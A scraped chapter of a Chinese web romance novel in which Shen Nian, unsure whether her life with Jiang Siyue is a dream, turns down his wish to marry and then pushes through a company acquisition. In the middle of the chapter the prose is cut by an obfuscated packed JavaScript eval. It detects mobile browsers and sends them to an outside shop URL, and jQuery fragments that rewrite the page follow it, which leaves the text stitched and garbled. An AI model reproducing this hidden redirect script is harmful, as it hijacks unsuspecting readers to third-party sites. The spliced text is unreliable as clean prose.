文趣网 > 其他小说 > 发现暧昧对象是鲛人怎么办 > 78. 他想结婚
    沈念坐在沙发上,抬头就能看见站在厨房里的江肆越。

    他还穿着上次见面的米白色衬衣,搭着条深棕色的宽松垂感西裤。

    一条腰带勒出劲瘦的腰身,显得他身材比例超好,宽肩窄腰,自带温柔气质。

    他围着粉色碎花围裙,手里捧着托盘,听见声音,稍稍侧过身,眉眼弯弯笑着看她。

    沈念颔首示意了下,目光落在他手上的桂花布丁上。

    小巧精致,瞧着剔透又软糯。

    七年了,江肆越还是一点变化都没有,自己的模样已经变了。

    江肆越却什么都没有发现一般,依然跟她生活在一起。

    沈念前几年每次问江肆越你到底是真是假,都会得到“是真的”这个答案。

    真真假假,她好像也有点分不清了。

    江肆越走过来,把托盘放在面前的茶几上,捧起了她的脸。

    “怎么了?今天怎么闷闷不乐的?”

    沈念眼神闪烁了下,她别开头,拿起了桌上的布丁。

    “今天怎么想到要做布丁?”

    江肆越搂着她的腰,下巴轻轻搭在她的肩头上,还是那样喜欢腻歪。

    “你上次不是说,最近都要加班,想吃桂花布丁还没有买到吗?”

    “我就想着给你做了,等你回来,就可以吃了。”

    说着,男人轻轻捏了捏她的鼻尖,沈念笑了笑,收敛了眼底的情绪,轻轻咬了一口布丁。

    软糯、又带着点果冻质感,入口那股浓郁的桂花清香在唇齿间绽放。

    好吃不腻。

    沈念最近被并购案气到的心情都被抚平了。

    江肆越歪着脑袋看她,紧张兮兮的,好似生怕她会说不好吃。

    “好吃。”

    沈念竖起大拇指夸赞着,江肆越这才绽放笑容。

    她盯着江肆越看,细腻的肌肤,脸蛋上的胶原蛋白饱满,眼睛都亮晶晶的。

    莫名的,她涌上一股悲伤。

    等江肆越回来,他会不会认不出自己?

    愣神间,江肆越抬起手,指尖轻轻擦过她的唇角,将布丁的碎屑擦掉。

    “想什么呢?”

    说着,他握着她拿着布丁的手,随后低头,就这样咬了一口她吃过的布丁。

    唇瓣擦过指尖,柔软温凉,她指尖轻颤。

    “桌上还有。”

    沈念无奈开口,江肆越倒像是吃到什么美味般,闭上眼乐呵。

    “桌上的哪有你手里的好吃?”

    看他跟个毛头小子似的,沈念笑了笑,指尖捏了捏他的耳尖。

    江肆越握住她的手,神色变得正经起来,沈念顿时明了他想说什么,率先起身。

    “我去洗个澡。”

    刚站起来,她还没走出去,腰就被江肆越搂住了。

    宽厚的大手环着她的腰,想用力却又不敢,只能揪着她的衣角,指尖微微泛白。

    男人的脸埋在她身后,微微颤抖。

    沈念没有动,只是垂眸,看着自己腰侧上的手。

    她抬起手,想触碰男人的手,想去安慰。

    “你又这样。”

    男人的声音又闷又轻,仿佛压抑着自己的情绪。

    沈念放下手,叹了口气,还是跟之前一样,如实说:

    “我还不想结婚。”

    “为什么?”江肆越问。

    他问了已经不止一次了,沈念沉默了,以前的理由已经说服不了这个男人了。

    她自己也不知道怎么说。

    难道要让她跟江肆越说,这个世界是假的,这只是自己的一场梦?

    大概江肆越只会觉得自己疯了。

    可这里的一切都太真实了,真实到,她自己都分不清了。

    她的心理咨询老师告诉她,这只是她压力太大,构建的一个世界。

    七年时间,江肆越什么都没有变,他也从来不过问自己的事。

    她都快要相信这是一场梦了,可他告诉自己,在一起已经七年了,想要名分。

    真真假假……到底是真,还是假。

    沈念闭上眼,感受到腰间不断收紧的力道,还有自己喉间的酸涩。

    “肆越,我们为什么非得要结婚呢?现在不是很好吗?”

    沈念平静陈述,话刚说完,江肆越就打断了她的话。

    “不好,一点都不好!”

    “念念,没有婚姻关系,我不是独属于你的,你也可以随时抽身离开。”

    “我想你可以签我的手术单,我想你可以继承我的财产,我不是要孩子,我只是想要你。”

    “你为什么不懂呢?”

    这些话,这些年,沈念已经听了上百遍了。

    江肆越还在控诉。

    “你每次都说,你忙,让我再等等,你现在重心在工作上,你想处理好现在的事情,你想……”

    “念念,你想这么多,到底想不想要我?”

    男人的泪水滚落,沈念感受到腰侧传来的湿润,瞳孔轻颤,垂在身侧的手攥紧。

    “我没有不要你。”她解释了一句。

    “那你为什么不愿意?每次我尝试跟你聊这个话题,你都会跑。”

    “……”

    沈念叹了口气,动了动,想转过身来安慰他,却被江肆越的大手扣住,不让她动。

    “你别想再用那些花里胡哨的话哄我,我不会被你骗了。”

    她没有再动,抬起头,看这个只有在梦里才能看见的小家。

    两人还是住在学校附近,这个小家相较于刚住进来的冷清,现在已经充斥着两人的气息。

    桌上的情侣杯,沙发上的抱枕公仔,屋里的各种一起做的摆件……

    可这都不过是自己的幻想,现实里,她还找不到江肆越。

    她苦笑了一下:“江肆越,别闹了。”

    “闹?在你眼里,我正常诉求就是闹吗?”

    江肆越抬起头,腰间的手却没有要松开的意思。

    “我不是这个意思。”

    沈念脑子一团糟,“我不想我一回来就说这些,我们就跟之前那样过日子不好吗?”

    江肆越怔住了,搂在她腰上的手松了些:“你什么意思?”

    他把人转过来,仰头看着她,喉结不安地上下滚了滚。

    沈念垂眸,只见男人眼眶泛红,里头藏着委屈痛苦,还有不可置信,如同一只要被自己丢弃的小兽一般。

    “那你什么意思?我嘴上说说,你还真不要我了?”

    说着,江肆越微微眯起眼,眼睫颤动,仿佛只要她说出不好的来,他就会委屈掉眼泪。

    瞧着把下巴垫在自己腹部的江肆越,沈念拧着的眉骤然松了。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948554|204091||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    七年了,她是变了,可江肆越还是个大学生。

    她无奈,伸手把他脑袋搂入怀里,慢慢顺毛。

    江肆越鼻尖蹭了蹭她腹部的软肉,按在她身后的手揪着她的衣角不松开。

    他眸光暗淡,泛着淡淡的苦涩,似乎这个结局是已经预料到的了。

    他又蹭了蹭,想要把那点来自心底的不安扫去。

    他只是想要抓住自己的爱人多一点,多一点她存在的记忆。

    倏地,泪水再次盈润眼眶,他闭上眼,嚅嗫着:“我才不会难过,我继续等你就是了。”

    “嗯?”沈念还在思索着公司的事情,只听见他嘀嘀咕咕的,却没有听清。

    江肆越摇了摇头,抱得更紧了。

    -

    第二天醒来,沈念换上一整套棕色的西装。

    去公司前,小元宝还是跟以往一样跟她问好。

    “妈妈,小元宝今天也会好好吃饭,等妈妈回来。”

    沈念应了一声,看着鱼缸里胖乎乎,却游得缓慢的小元宝。

    它圆形的嘴巴一张一合,就那样看着她离开。

    公司,会议室。

    一张长方形长桌,两旁坐满了人,只为等首位的人入座。

    门突然打开,沈念从外头稳步走进来,姿态飒爽又带着上位者的压迫。

    原本还窸窸窣窣聊天的与会人员,顿时安静了下来,冲着她打招呼。

    沈念只颔首示意,坐在了首位,看向对面的主持董事。

    “开始吧。”

    “……收购恒泰实业。一是渠道互补。

    他的渠道在华南,我们的渠道在华东。

    合并后全国铺开,等于花一笔钱,买了半个全国网络……”

    等主持董事讲完,所有人都看向了坐在首位的沈念。

    沈念合上手里的文件,双手放在桌上交叠,声音平稳而有力。

    “议程都看了。我不重复。”

    “一句话,这家公司,我要了。表决吧。”

    股东会上,暗流涌动,各怀心思,但沈念手里的决策权够多。

    虽有波折,但还是通过了收购提案。

    散会后,沈念从会议室出来,直奔自己的办公室。

    她刚坐下,放在桌上的手机便震动起来。

    秘书给她倒了一杯咖啡,便关门离开了,沈念这才起身接通了电话。

    “查到了,黎盛衍改名换姓,现在在M国的一家生物制药公司……”

    沈念听着,连忙追问:“是哪家公司?”

    “还在查,对方藏得太深了,一旦有点风吹草动就会藏起来。”

    “那有没有江肆越的消息?”

    “这个,还没有。”

    “好。那先顺着这个方向好好查查黎盛衍。钱不是问题。”

    挂断电话,沈念神情复杂。

    她站在落地窗前,眺望着城市最繁华地段的景色,感慨万分。

    七年了,整整七年,终于让她找到了黎盛衍的踪迹。

    是不是离找到江肆越不远了?

    “咚咚咚”,门口传来三声敲门声。

    沈念眨了眨眼,收敛了情绪:“进。”

    门被轻轻推开,一个脑袋探了进来。

    “姐姐,听说你开完会了,我就来找你啦!”

    是温小晚。